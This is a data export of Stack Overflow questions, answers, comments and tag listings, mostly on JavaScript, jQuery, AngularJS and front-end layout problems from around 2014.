comment on: http://stackoverflow.com/a/25829436
has text: What would you call that ?

http://stackoverflow.com/comment/40429989
type: Comment
comment on: http://stackoverflow.com/a/25840472
score: 0
type: AnswerComment
has text: Yes, if you look through the dom, you'll see that `input` now has the class `check-terms` added to it. Also, I changed the function for `poll_vote()`located [here](https://github.com/lesterchan/wp-polls/blob/master/polls-js.dev.js), and overwrote the original file.

http://stackoverflow.com/comment/40319286
has text: And what have you tried so far?
score: 1
comment on: http://stackoverflow.com/q/25780379
type: Comment
type: QuestionComment

physicsjs
tags question: http://stackoverflow.com/q/25735451
tag name: physicsjs
type: Tag

http://stackoverflow.com/a/25848781
has comment: http://stackoverflow.com/comment/40460121
answers question: http://stackoverflow.com/q/25847467
has comment: http://stackoverflow.com/comment/40451340
score: 0
has body: It took me some time to find a solution for that; I'm going to try to share it, then. Indeed, you are near the solution, I think. This is what I did: On the controller: var uploadImages = function () { var formData = new FormData(), len = $scope.Files.length, // Supposing that your images are here (the objects in the input type='file') i = 0; for ( ; i &lt; len; i++) { formData.append('file[]', $scope.Files[i]); formData.append('title[]', $scope.FilesDetails[i].title); // If you need attach arrays of data } formData.append('moreInfo1', $scope.moreInfo1); // Adding other information formData.append('moreInfo2', $scope.moreInfo2); ImageManager.uploadImages(formData) .success(function (data) { console.log('Success: ' + data); }) .error(function (data, status) { console.log('Error: ' + data + '. Status: ' + status); }); }; On the service: angular.module('myApp') .factory('ImageManager', function ($http) { uploadImages: function(formData) { return $http.post('uploadImages.php', formData, { transformRequest: angular.identity, headers: { 'Content-Type': undefined } }); } }); Then from PHP, in case is what you are using, you would need to check the $_FILES and $_REQUEST objects; the information is going to be there. Hope that helps!
type: Answer

http://stackoverflow.com/comment/40437739
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25844023
type: Comment
has text: @Xan Most Chrome extension APIs will fail (in an inconsistent way). In the case of `chrome.storage`, the callback will not be called.

http://stackoverflow.com/comment/40448899
type: Comment
comment on: http://stackoverflow.com/a/25851330
type: AnswerComment
has text: It wasn't clear that you needed grouping, just that you needed to go through each table. I've amended this to allow for grouping.
score: 0

http://stackoverflow.com/a/25857073
type: Answer
has comment: http://stackoverflow.com/comment/40459957
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40461389
has comment: http://stackoverflow.com/comment/40460209
accepted answer of: http://stackoverflow.com/q/25856960
has body: Initialize an empty array like so var tries = []; Every time the user guesses a number, use the .push method of the array to append the number to it. tries.push(guess); To check if the user has tried a number already, check if the array method .indexOf returns a value different than -1 if (tries.indexOf(guess) != -1) //User has tried that number already To show the values on the page, you can use the array .join method. document.querySelector("#tries").textContent = tries.join(', ');
upvote count: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25856960
has comment: http://stackoverflow.com/comment/40461063
has comment: http://stackoverflow.com/comment/40459536

http://stackoverflow.com/q/25760688
score: 1
type: Question
tagged with: javascript
tagged with: canvas
upvote count: 1
answer count: 1
tagged with: jquery
has body: I am developing an application to design event map in HTML 5 canvas. Here is an example of map i want to create https://i.sstatic.net/XGvTg.jpg I have made the canvas. I want to know how to draw stall on specific grid boxes of the canvas. Scale : 1 box of grid in canvas = 1sq ft. Ex. I want to draw a 4X3 stall between (3,3) & (6,6) grid point of canvas Then how to draw it on the canvas... Canvas code : Browser does not support canvas Thank you.. :)
has answer: http://stackoverflow.com/a/25763230
accepted answer: http://stackoverflow.com/a/25763230
has title: Drawing shapes on a HTML canvas on bases of grid
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
type: AnsweredQuestion
downvote count: 0

http://stackoverflow.com/comment/40264618
type: Comment
type: QuestionComment
has text: once you store them using factory, then call $location.search on $routeChangeStart event.
score: 1
comment on: http://stackoverflow.com/q/25750359

validation
tags question: http://stackoverflow.com/q/25786494
tags question: http://stackoverflow.com/q/25843977
tags question: http://stackoverflow.com/q/25791873
tags question: http://stackoverflow.com/q/25760786
tags question: http://stackoverflow.com/q/25781851
type: Tag
tag name: validation
tags question: http://stackoverflow.com/q/25765843
tags question: http://stackoverflow.com/q/25793446
tags question: http://stackoverflow.com/q/25834954
tags question: http://stackoverflow.com/q/25769072
tags question: http://stackoverflow.com/q/25760661
tags question: http://stackoverflow.com/q/25725395
tags question: http://stackoverflow.com/q/25839986
tags question: http://stackoverflow.com/q/25716321
tags question: http://stackoverflow.com/q/25792205
tags question: http://stackoverflow.com/q/25816802
tags question: http://stackoverflow.com/q/25775439
tags question: http://stackoverflow.com/q/25769057
tags question: http://stackoverflow.com/q/25811292
tags question: http://stackoverflow.com/q/25780379
tags question: http://stackoverflow.com/q/25780509
tags question: http://stackoverflow.com/q/25836652
tags question: http://stackoverflow.com/q/25785941
tags question: http://stackoverflow.com/q/25826096
tags question: http://stackoverflow.com/q/25763943
tags question: http://stackoverflow.com/q/25779480
tags question: http://stackoverflow.com/q/25775893
tags question: http://stackoverflow.com/q/25714590
tags question: http://stackoverflow.com/q/25868917
tags question: http://stackoverflow.com/q/25736345
tags question: http://stackoverflow.com/q/25829784
tags question: http://stackoverflow.com/q/25734740
tags question: http://stackoverflow.com/q/25838291
tags question: http://stackoverflow.com/q/25790501
tags question: http://stackoverflow.com/q/25811677
tags question: http://stackoverflow.com/q/25807479
tags question: http://stackoverflow.com/q/25832129
tags question: http://stackoverflow.com/q/25741293
tags question: http://stackoverflow.com/q/25780529
tags question: http://stackoverflow.com/q/25787553
tags question: http://stackoverflow.com/q/25808796
tags question: http://stackoverflow.com/q/25800250

http://stackoverflow.com/q/25742173
has comment: http://stackoverflow.com/comment/40249303
score: 0
answer count: 1
has body: I've searched and tried for 2 days now, with no luck whatsoever. What i'm trying: I generate several div's through a foreach in xslt, that contains a hidden div where i store a code to match value out of an external xml file on. Something like this: CODE - - Nu boeken! Where the div class 'code' contains the code to match on. The xml that comes out of this is: <destination cms-id="45541" name="Paramaribo" level="destination"/> <country cms-id="4545" name="Suriname" level="country"/> Hotel 88 <average-testimonial-score>7.6</average-testimonial-score> http://link.com <testimonial-count-per-language>88</testimonial-count-per-language> 88 <average-testimonial-score-all>7.6</average-testimonial-score-all> Now i wanted to append the average-testimonial-score to div "waardering" when the external-id attribute in equals the value in . But how would i go about that? I tried with looping through the value of the div class and the attribute, like this: $(document).ready(function() { $.ajax({ type: "GET", url: "file.xml", dataType: "xml", success: function(xml) { $(xml).find('accommodation').each(function(index) { var cijfer = $(this).find('average-testimonial-score-all').text(); $('.CODE').each(function(index) { var divcode = $(this).text(); $.attr('external-id').each(function(index) { var attrcode = $(this).text(); if (divcode == attrcode) { $(".waardering").append(cijfer); }; }); }); }); } }); }); With no result. Can someone push me in the right direction with this?
tagged with: jquery
has title: Append to class if hidden div value is equal to attribute from XML
has comment: http://stackoverflow.com/comment/40250129
tagged with: http://stackoverflow.com/tag/html
tagged with: http://stackoverflow.com/tag/xml
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25742935
accepted answer: http://stackoverflow.com/a/25742935
has comment: http://stackoverflow.com/comment/40249536
type: Question
tagged with: javascript

http://stackoverflow.com/comment/40486649
type: AnswerComment
comment on: http://stackoverflow.com/a/25868995
score: 0
type: Comment
has text: @user3494068, because they are dynamic, you need to use event delegation: http://jsfiddle.net/ezanker/1ocu2bu7/2/, I have updated the answer.

http://stackoverflow.com/comment/40362343
comment on: http://stackoverflow.com/a/25803883
type: Comment
has text: do I need to do something in my controller where the data is submitted? Like sending HTTP code?
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40445900
has text: A delegated handler should have worked (and is more efficient), but it must be attached to a *non-changing ancestor*.
score: 1
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25849822

http://stackoverflow.com/q/25793447
has body: I'm trying to do an Ajax post with JQuery in IE11. I have modified to compatibility meta-tag for ie-9 but it still does not work, will not send the post. Instead it throws an error saying {exception} Unable to get property 'settings' of undefined or null reference from jquery. head jquery $('#EmailForm').validate({ invalidHandler: function(event, validator) { var errors = validator.numberOfInvalids(); if (errors) { var message = errors == 1 ? '1 email field has a missing or invalid email address. It has been highlighted, please correct this or remove the field.' : errors + ' email fields have missing or invalid email addresses. It has been highlighted, please correct this or remove the fields.'; $("div.error span").html(message); $("div.error").show(); } else { $("div.error").hide(); } }, submitHandler: function (form) { $(form).ajaxSubmit(function () { history.go(-1); }); } }); $('body').on('click', '.remove_field', function () { $(this).closest('p').remove(); }); $('.add_email_button').closest('p').click(function () { var html = ' x '; $(html).insertBefore($(this)); }); $('#SendEmail_Button').closest('span').click(function (e) { e.preventDefault(); $('#EmailForm').submit(); @* if ($('#EmailForm').valid()) { $.post('@Url.Action("PostEmail")', $('#EmailForm').serialize()).done(function() { history.go(-1); }); }*@ }); web.config <clear/> <add name="X-UA-Compatible" value="IE=IE9"/>
tagged with: javascript
score: 0
answer count: 1
tagged with: jquery
tagged with: ajax
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25793535
has title: Posting a form via AJAX in IE 11
type: Question

http://stackoverflow.com/comment/40479316
type: QuestionComment
type: Comment
score: 1
has text: sometimes files saved inside installation paths don't have right permissions. is it your case?
comment on: http://stackoverflow.com/q/25868129

http://stackoverflow.com/a/25825719
upvote count: 1
downvote count: 1
has body: change your html to this: male&lt;input type="radio" name="a" id="a"/&gt; &lt;br/&gt; female&lt;input type="radio" name="a" id="b"/&gt;
score: 0
answers question: http://stackoverflow.com/q/25825698
type: Answer

http://stackoverflow.com/comment/40398605
type: Comment
type: QuestionComment
has text: Where did you get the code from? It seems to be written for IE and VBScript.
score: 0
comment on: http://stackoverflow.com/q/25823702

angularjs-scope
tags question: http://stackoverflow.com/q/25811180
tags question: http://stackoverflow.com/q/25734789
tags question: http://stackoverflow.com/q/25811734
tags question: http://stackoverflow.com/q/25843945
tags question: http://stackoverflow.com/q/25755215
tags question: http://stackoverflow.com/q/25778938
tags question: http://stackoverflow.com/q/25744632
tags question: http://stackoverflow.com/q/25718460
tags question: http://stackoverflow.com/q/25739790
tags question: http://stackoverflow.com/q/25724329
tags question: http://stackoverflow.com/q/25764475
tags question: http://stackoverflow.com/q/25759684
tags question: http://stackoverflow.com/q/25823613
tags question: http://stackoverflow.com/q/25776743
tags question: http://stackoverflow.com/q/25853399
tags question: http://stackoverflow.com/q/25779304
tags question: http://stackoverflow.com/q/25746036
tag name: angularjs-scope
tags question: http://stackoverflow.com/q/25712888
tags question: http://stackoverflow.com/q/25774138
tags question: http://stackoverflow.com/q/25722401
tags question: http://stackoverflow.com/q/25746881
tags question: http://stackoverflow.com/q/25748001
tags question: http://stackoverflow.com/q/25757947
tags question: http://stackoverflow.com/q/25749114
tags question: http://stackoverflow.com/q/25761509
tags question: http://stackoverflow.com/q/25858910
tags question: http://stackoverflow.com/q/25777552
tags question: http://stackoverflow.com/q/25785625
tags question: http://stackoverflow.com/q/25832413
tags question: http://stackoverflow.com/q/25865507
tags question: http://stackoverflow.com/q/25725081
tags question: http://stackoverflow.com/q/25801899
tags question: http://stackoverflow.com/q/25738698
type: Tag

http://stackoverflow.com/q/25724837
type: Question
has body: I have a HTML element with a data- attribute, which is encoded on the server with HttpUtility.HtmlAttributeEncode So for example: data-id="This is &amp;amp;quot;an example&amp;amp;quot; attribute"&gt; Now I want to read the value in JavaScript and therefor I want to decode it. However, I can't seem to find any decoding functions in JavaScript (except decodeUri, but that doesn't work) If there is an alternative to HttpUtility.HtmlAttributeEncode, that's also ok.
tagged with: asp.net-mvc
tagged with: javascript
linked to: http://stackoverflow.com/q/1147359
duplicate of: http://stackoverflow.com/q/5796718
score: 0
duplicate of: http://stackoverflow.com/q/1147359
tagged with: asp.net
has comment: http://stackoverflow.com/comment/40217105
answer count: 0
tagged with: decoding
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40217539
has title: How can I decode a value in Javascript which is encoded with HttpUtility.HtmlAttributeEncode?
has comment: http://stackoverflow.com/comment/40217426

http://stackoverflow.com/a/25840068
type: AcceptedAnswer
has body: Not sure what is your question? However, I just fixed your special characters regular expression password.match(/[\!\@\#\$\%\^\&amp;\*\?\_\~\-\(\)]+/) Remove the extra 10 points that you had, not sure why you added this? change the event from onkeydown to onchange. It works fine as far as i understand your flow. http://jsfiddle.net/jYcBT/140/
type: Answer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25839975
accepted answer of: http://stackoverflow.com/q/25839975
upvote count: 1

http://stackoverflow.com/a/25852021
has body: You can either use: Action Links : which creates tag automatically as For example: @Html.ActionLink("link text", "someaction", "somecontroller", new { id = "123" }, null) generates: link text or Url.Action as For example: Url.Action("someaction", "somecontroller", new { id = "123" })
has comment: http://stackoverflow.com/comment/40457138
has comment: http://stackoverflow.com/comment/40451175
has comment: http://stackoverflow.com/comment/40451310
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 2
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25851891
answers question: http://stackoverflow.com/q/25851891

http://stackoverflow.com/comment/40332675
type: Comment
comment on: http://stackoverflow.com/q/25787502
has text: I don't see any code in your question.
score: 0
type: QuestionComment

http://stackoverflow.com/q/25873074
has body: (By disable I mean remove the links without removing their contents and then enable - to retrieve the links) I've read about wrap and replacewith, bind and unbind. But I can't seem to get it to work. Basically I have a button which I click in order to disable/enable the links. Here is the code I've worked so far: var edit = false; $('.courselink').click(function(e){ //the links if(edit == true){ return false; } }); $('.vieweditlink').click(function(){ //This is the button if($(this).html() == 'Edit'){ $(this).html('View'); edit = true; } else { $(this).html('Edit'); edit = false; } }); Everything is in $(document).ready of course JSfiddle here: http://jsfiddle.net/ugkc8gsd/7/
has comment: http://stackoverflow.com/comment/40488809
tagged with: javascript
has comment: http://stackoverflow.com/comment/40489033
linked to: http://stackoverflow.com/q/1767414
score: 0
answer count: 3
has title: Disabling and enabling links using jquery
tagged with: jquery
has comment: http://stackoverflow.com/comment/40489691
has comment: http://stackoverflow.com/comment/40488758
has comment: http://stackoverflow.com/comment/40489373
has answer: http://stackoverflow.com/a/25896468
has comment: http://stackoverflow.com/comment/40488675
has answer: http://stackoverflow.com/a/25873327
has comment: http://stackoverflow.com/comment/40488418
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25874628
accepted answer: http://stackoverflow.com/a/25896468
has answer: http://stackoverflow.com/a/25874628
has comment: http://stackoverflow.com/comment/40489103
type: Question

http://stackoverflow.com/q/25752512
type: Question
score: 0
has comment: http://stackoverflow.com/comment/40269040
tagged with: popup
has title: How can I keep my popup focused?
has comment: http://stackoverflow.com/comment/40276851
answer count: 0
tagged with: javascript
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40269583
has body: I have created a couple of pages whose content will be displayed in a pop up window. I have a page where I define 3 links: Page1 Page2 Page3 When clicking on the link, I have a popup displayed. But when clicking on another link, the popup is minimized. I need to keep it opened and display appropriate content from another page. Unfortunately, I cannot use any javascript functions to focus my popup, since I need to put the links onto another vendor's website, that allows only simple html to be copied over, so when someone else will click the link, popup will open appropriate content. Is there any way to achieve that with what I currently have?
has comment: http://stackoverflow.com/comment/40268785
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/q/25815676
has comment: http://stackoverflow.com/comment/40459961
answer count: 2
downvote count: 0
has answer: http://stackoverflow.com/a/25966131
favorite count: 0
tagged with: angularjs
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40482649
tagged with: regex
score: 1
has comment: http://stackoverflow.com/comment/40460901
has comment: http://stackoverflow.com/comment/40499369
upvote count: 1
has body: I'm building an Adobe AIR application with AngularJS. And have quickly come across a problem in that Angular can't see partials below a certain level and any $http resources. I've read here: How to Adjust Angular's URL matching pattern that this is because of the way Angular looks at URLs instead of using app:/ but in 2.0+ it no longer has a SERVER_MATCH so I can't use that regex... if that's even the issue anymore? Basically if I have a index.html like: It will find those two includes fine! But if in header I have: Angular won't see that header-nav in Adobe AIR, because it seems to lose where partials folder is in relation to the rest of the application... I'd assume that all resources also break for this same reason! This also doesn't work: phonecatServices.factory('Phone', ['$resource', function($resource){ return $resource('phones/:phoneId.json', {}, { query: {method:'GET', params:{phoneId:'phones'}, isArray:true} }); }]); Even if I was to call this on the index route, it won't find the JSON file as the factory doesn't know where to find the file... Setting doesn't fix it either but also breaks the links so that's not a solution... Any ideas? I'm assuming it's something simple...
has answer: http://stackoverflow.com/a/25947803
type: Question
has comment: http://stackoverflow.com/comment/40471201
tagged with: air
has title: AngularJS can't see inner partials and resources in Adobe AIR
tagged with: javascript
has comment: http://stackoverflow.com/comment/40487370
linked to: http://stackoverflow.com/q/17659152
has comment: http://stackoverflow.com/comment/40482960
has comment: http://stackoverflow.com/comment/40460727

http://stackoverflow.com/comment/40320808
type: QuestionComment
score: 0
has text: I did. Just seems hacky because I end up with negative values. Just wondering if there was a proper way to do it without having to convert to absolute value after the fact.
comment on: http://stackoverflow.com/q/25781132
type: Comment

http://stackoverflow.com/q/25867408
has title: Why AngularJS routes are not working in local?
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40477807
answer count: 4
score: 2
type: AnsweredQuestion
upvote count: 2
has answer: http://stackoverflow.com/a/33954494
has answer: http://stackoverflow.com/a/25867691
type: Question
has answer: http://stackoverflow.com/a/64444128
has body: I have html file which implements AngularJS routes as follows, index.html: test.html: {{first}} - {{cust.city}} You can find the working version here But why is it not working when I run the same in my local browser :( Here is the chrome console error: Any help appreciated! :)
possible better answer: http://stackoverflow.com/a/25867852
has answer: http://stackoverflow.com/a/25867852
accepted answer: http://stackoverflow.com/a/25867691
downvote count: 0
tagged with: javascript
favorite count: 0

http://stackoverflow.com/a/25824064
accepted answer of: http://stackoverflow.com/q/25822397
answers question: http://stackoverflow.com/q/25822397
downvote count: 0
type: AcceptedAnswer
type: Answer
has body: In your interface definition for IResult the properties are lower case, but you try and access them using upper case. Since your JSON has upper case change IResult to: interface IResult { Name: string; ResultSet: any; }
score: 3
upvote count: 3

http://stackoverflow.com/a/25856659
type: AcceptedAnswer
downvote count: 0
has body: Flexbox is perfect when you want to distribute the available space among children: #parent { display: flex; } .child { flex-grow: 1; margin: 5px; } var parent = document.getElementById('parent'); var child = document.createElement('div'); child.className = 'child'; var n = Math.round(Math.random() * 10); for (var i = 0; i &lt; n; ++i) { parent.appendChild(child.cloneNode(false)); } #parent { display: flex; min-width: 400px; min-height: 200px; background: pink; border: 1px solid red; } .child { min-height: 200px; min-width: 10px; border: 1px solid black; display: inline-block; flex-grow: 1; margin: 5px; } .child:nth-child(even) { background: blue; } .child:nth-child(odd) { background: green; } &lt;div id="parent"&gt;&lt;/div&gt; You can also use CSS tables: #parent { display: table; table-layout: fixed; border-spacing: 10px; width: 100%; } .child { display: table-cell; } var parent = document.getElementById('parent'); var child = document.createElement('div'); child.className = 'child'; var n = Math.round(Math.random() * 10); for (var i = 0; i &lt; n; ++i) { parent.appendChild(child.cloneNode(false)); } #parent { display: table; table-layout: fixed; border-spacing: 10px; width: 100%; min-width: 400px; height: 200px; background: pink; border: 1px solid red; } .child { display: table-cell; height: 200px; width: 10px; border: 1px solid black; } .child:nth-child(even) { background: blue; } .child:nth-child(odd) { background: green; } &lt;div id="parent"&gt;&lt;/div&gt;
has comment: http://stackoverflow.com/comment/40459218
type: Answer
accepted answer of: http://stackoverflow.com/q/25856489
has comment: http://stackoverflow.com/comment/40489024
answers question: http://stackoverflow.com/q/25856489
score: 12
upvote count: 12

http://stackoverflow.com/comment/40347655
type: AnswerComment
score: 0
has text: That was meant for @LauriOrgla
type: Comment
comment on: http://stackoverflow.com/a/25795780

http://stackoverflow.com/a/25807896
downvote count: 0
type: Answer
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/25807852
has body: Both are binding events: First one normal binding of events. Second one is event bind using delegated-events approach. Learn Event Delegation The delegated events have the advantage that they can process events from descendant elements that are added to the document at a later time. By picking an element that is guaranteed to be present at the time the delegated event handler is attached, we can use delegated events to bind the click event to dynamically created elements and also to avoid the need to frequently attach and remove event handlers.

http://stackoverflow.com/q/25854459
accepted answer: http://stackoverflow.com/a/25854665
has title: How do I move the starting point of X,Y coordinates plotted on a circle perimeter?
answer count: 3
tagged with: trigonometry
possible better answer: http://stackoverflow.com/a/25854577
has answer: http://stackoverflow.com/a/25854577
has answer: http://stackoverflow.com/a/75216377
has body: I want to plot a range of points on the lower left section (6 to 9 o'clock) of the perimeter of a circle. However, the starting point of rendering X,Y coordinates always begins at 3 o'clock. !https://dl.dropboxusercontent.com/u/55849501/plotting-xy.png Here is the rendering portion of my code: var items = 5; for(var i = 0; i &lt; items; i++) { var x = 96 + 100 * Math.cos(0.665 * Math.PI * i / items); var y = 96 + 100 * Math.sin(0.665 * Math.PI * i / items); $("#center").append("&lt;div class='point' style='left:"+ x +"px;top:"+ y +"px'&gt;&lt;/div&gt;"); } And here is a jsfiddle of the code in action: http://jsfiddle.net/jE26S/198/ In summary: I want the points to render starting at the 6 o'clock position instead of the 3 o'clock position.
has answer: http://stackoverflow.com/a/25854665
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40454668
score: 0
type: Question
tagged with: javascript

http://stackoverflow.com/q/25826981
tagged with: javascript
score: 0
has title: Javascript: Setting one value in an array sets all others to that value
has body: when I try to set a value in an array in javascript, all the other "adjacent" values change as well. var screenData = []; function init() { var properties = { "property": "value" } for( i = 0; i &lt; 35; i++ ) { var row = []; for( j = 0; j &lt; 19; j++ ) { row.push(properties); } screenData.push(row); } } init(); screenData[0][0].property = "othervalue"; alert(screenData[0][1].property); The alert will return othervalue although it should be value :( Did I just oversee something or is this a bug? Any help would be appreciated :3
linked to: http://stackoverflow.com/q/122102
has answer: http://stackoverflow.com/a/25827014
answer count: 4
has answer: http://stackoverflow.com/a/25827120
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25827018
has answer: http://stackoverflow.com/a/25827029
has answer: http://stackoverflow.com/a/25827018
type: Question
accepted answer: http://stackoverflow.com/a/25827014
tagged with: arrays

http://stackoverflow.com/q/25847691
has body: I have a long list of li and i am only showing 4 of them and the others are hidden. So what i want is to make two buttons so they can scroll trough the all of the li with jquery. Here is a skeleton application on jsfiddle and i want to have something like this. Here is the code that i have. Jquery $(document).ready(function(){ //When user clicks back button the slider moves to the left $('#back').click(function(){ $('.listImages').animate({left: "-=10px"}, 'fast'); }); //When user click forward button the slider moves to the right $('#forward').click(function(){ $('.listImages').animate({left: "+=10px"}, 'fast') }); //When the user clicks on a tumbnail $('.sp').click(function(){ //Removes the previus active class $('.active').removeClass('active'); //Add the active class to the click image $(this).addClass('active'); var $largeImage = $('.active').clone(); $('.mainImage').html($largeImage) }); }); How is not animating the li and moveing them to the direction i want too? Intead of '.listImages' i have tried '.tumbs' but still didnt work.The other Jquery is working aswell.
has comment: http://stackoverflow.com/comment/40443983
has comment: http://stackoverflow.com/comment/40444428
has comment: http://stackoverflow.com/comment/40443921
has comment: http://stackoverflow.com/comment/40443572
has comment: http://stackoverflow.com/comment/40444114
has comment: http://stackoverflow.com/comment/40443881
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40443515
has comment: http://stackoverflow.com/comment/40443674
has comment: http://stackoverflow.com/comment/40443391
score: 0
has comment: http://stackoverflow.com/comment/40444359
has title: Makeing the scroll sideways with jquery
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has comment: http://stackoverflow.com/comment/40461162
answer count: 0
has comment: http://stackoverflow.com/comment/40444157
type: Question

opalrb
tags question: http://stackoverflow.com/q/25714871
tag name: opalrb
type: Tag

http://stackoverflow.com/comment/40208498
score: 0
type: Comment
type: QuestionComment
has text: I don't want to make the user use RequireJS - thus I compile the widget into one JS file for consumption.
comment on: http://stackoverflow.com/q/25720194

http://stackoverflow.com/q/25737137
tagged with: javascript
has answer: http://stackoverflow.com/a/25737383
score: 0
accepted answer: http://stackoverflow.com/a/25737383
answer count: 1
has title: Codeigniter: Generate id on dynamic textbox/textarea
tagged with: jquery
has comment: http://stackoverflow.com/comment/40240998
has comment: http://stackoverflow.com/comment/40241075
tagged with: http://stackoverflow.com/tag/html
tagged with: php
has comment: http://stackoverflow.com/comment/40240758
type: AnsweredQuestion
has body: I have a problem generating ID's on my dynamic textareas. Here is my model: public function select_fields3($tablename3){ $this-&gt;load-&gt;library('table'); $fields = $this-&gt;db-&gt;field_data($tablename3['table1']); return $fields; } Here is my controller: public function add_all_inventory(){ $this-&gt;data['title'] = "Add New Inventory"; $this-&gt;load-&gt;vars($this-&gt;data); $table_naming_1 = $_POST['table1']; $this-&gt;load-&gt;view('homeview'); $select_inv['inventorytype'] = $this-&gt;inventory_model-&gt;select_tables(); $this-&gt;load-&gt;view('inventoryview', $select_inv); $select_fields['add_all'] = $this-&gt;inventory_model-&gt;select_fields3($this-&gt;input-&gt;post()); $values_array1 = array('add_all_1' =&gt; $select_fields['add_all'], 'tablename1' =&gt; $table_naming_1); $this-&gt;load-&gt;view('add_all_inventory', $values_array1); $this-&gt;load-&gt;view('footer_view'); } No need to focus on $select_inv, it's just a reference so I can get the fields of the table loaded. And here is my view: &lt;div class="row"&gt; &lt;fieldset&gt; &lt;form action="" method="POST" id="frm_add_all_inventory" name="frm_add_all_inventory"&gt; &lt;legend&gt;Add New &lt;input style="border: none; background-color: transparent;" type="text" name="txt_table" id="txt_table" value="&lt;?php echo $tablename1; ?&gt;" readonly/&gt;&lt;/legend&gt; &lt;table style=""&gt; &lt;?php foreach($add_all_1 as $row) { ?&gt; &lt;tr style=""&gt; &lt;td style=" height: 50px; width: 100px;font-size: 10pt;"&gt;&lt;input style="border: none; background-color: transparent; width: 100%;" type="text" value="&lt;?php echo $row-&gt;name; ?&gt;:" readonly/&gt;&lt;/td&gt; &lt;td style=" height: 50px; width: 200px;"&gt;&lt;textarea style="resize: none; font-size: 10pt; width: 100%;"&gt;&lt;/textarea&gt;&lt;/td&gt; &lt;/tr&gt; &lt;?php } ?&gt; &lt;tr&gt; &lt;td&gt;&lt;/td&gt; &lt;td&gt;&lt;/td&gt; &lt;td&gt; &lt;button type="button" class="btn_add_all_inventory btn-success btn-sm"&gt;&lt;span class="gly…
tagged with: codeigniter
type: Question

http://stackoverflow.com/comment/40372892
has text: You have an `if` / `else if`, what's supposed to happen if both conditions fail? If that isn't something that can happen then why isn't it a `if` / `else`?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25810068

http://stackoverflow.com/q/25818735
type: UnansweredQuestion
has body: If I post to a URL (changing it to https) by using the form, I get a 404 error (despite the address bar showing the correct address): //This ends up at a 404 page (BUT showing the correct address in the address bar) form.setAttribute( "action", window.location.href.replace( "http:", "https:" ) ); form.submit(); If I instead do it with window.location, it shows the page correctly: //This shows the page correctly window.location = window.location.href.replace( "http:", "https:" ); Even changing the form to method="GET" results in the 404 error Why does the first one result in a 404 error?
has comment: http://stackoverflow.com/comment/40389950
has comment: http://stackoverflow.com/comment/40389912
tagged with: wordpress
has answer: http://stackoverflow.com/a/25818783
upvote count: 1
tagged with: dom
type: Question
has comment: http://stackoverflow.com/comment/40389940
answer count: 2
has title: Why do I get a 404 when I post a form to a URL but not if I use window.location to go there?
downvote count: 0
tagged with: javascript
has answer: http://stackoverflow.com/a/25818800
has comment: http://stackoverflow.com/comment/40389913
has comment: http://stackoverflow.com/comment/40390037
tagged with: http://stackoverflow.com/tag/html
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40389979

http://stackoverflow.com/a/26115887
answers question: http://stackoverflow.com/q/25828289
score: 0
has body: InkBlob and event.fpfile objects have the same role and the same attributes. In your example you can pass event.fpfile object to remove function. var file = event.fpfile; filepicker.remove( file, function(){ console.log("Removed"); } ); Generally to remove filepicker file you only need it's url. So this code also works fine: var someObject = {url: 'https://www.filepicker.io/api/file/xaXphhT9R0GB1tPYUQAr'}; filepicker.remove( someObject, function(){ console.log("Removed"); } );
type: Answer
has comment: http://stackoverflow.com/comment/42980893

http://stackoverflow.com/comment/108725276
type: AnswerComment
score: 4
comment on: http://stackoverflow.com/a/60028685
type: Comment
has text: This appears to be a clever history tracking mechanism. However, the code is uncommented, so it's pretty difficult to follow. If someone navigates away from the current page, the code won't detect that button press, which doesn't answer the original question of "How do you definitively detect whether or not the user has pressed the back button in the browser?" Button presses and history tracking are two different things even though one may trigger the other. The fact there's still conversation indicates a major flaw in web browser design.

http://stackoverflow.com/q/25765094
has answer: http://stackoverflow.com/a/25773026
accepted answer: http://stackoverflow.com/a/25773026
upvote count: 1
favorite count: 0
downvote count: 0
type: AnsweredQuestion
tagged with: google-analytics
has comment: http://stackoverflow.com/comment/40294119
score: 1
type: Question
has body: How does one capture the cause of the event in GA. For example- Say in my eCommerce application, I have to get the count of people who have bought a particular product because of the Ad they saw about it. Now the ad could have been shown a couple of days back also. GA knows about who is clicking on ads and also who is purchasing the product since I am pushing 2 individual events (ad_click and product_purchased) respectively. But there is no way to figure out how many of them bought the product because of the ad.
has comment: http://stackoverflow.com/comment/40301880
answer count: 1
has title: Capture the source of an event in GA
tagged with: javascript

http://stackoverflow.com/a/25867583
has comment: http://stackoverflow.com/comment/40479991
has comment: http://stackoverflow.com/comment/40485346
has comment: http://stackoverflow.com/comment/40488844
has comment: http://stackoverflow.com/comment/40480342
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40485599
type: Answer
has comment: http://stackoverflow.com/comment/40490398
has comment: http://stackoverflow.com/comment/40482211
has comment: http://stackoverflow.com/comment/40481170
answers question: http://stackoverflow.com/q/25867257
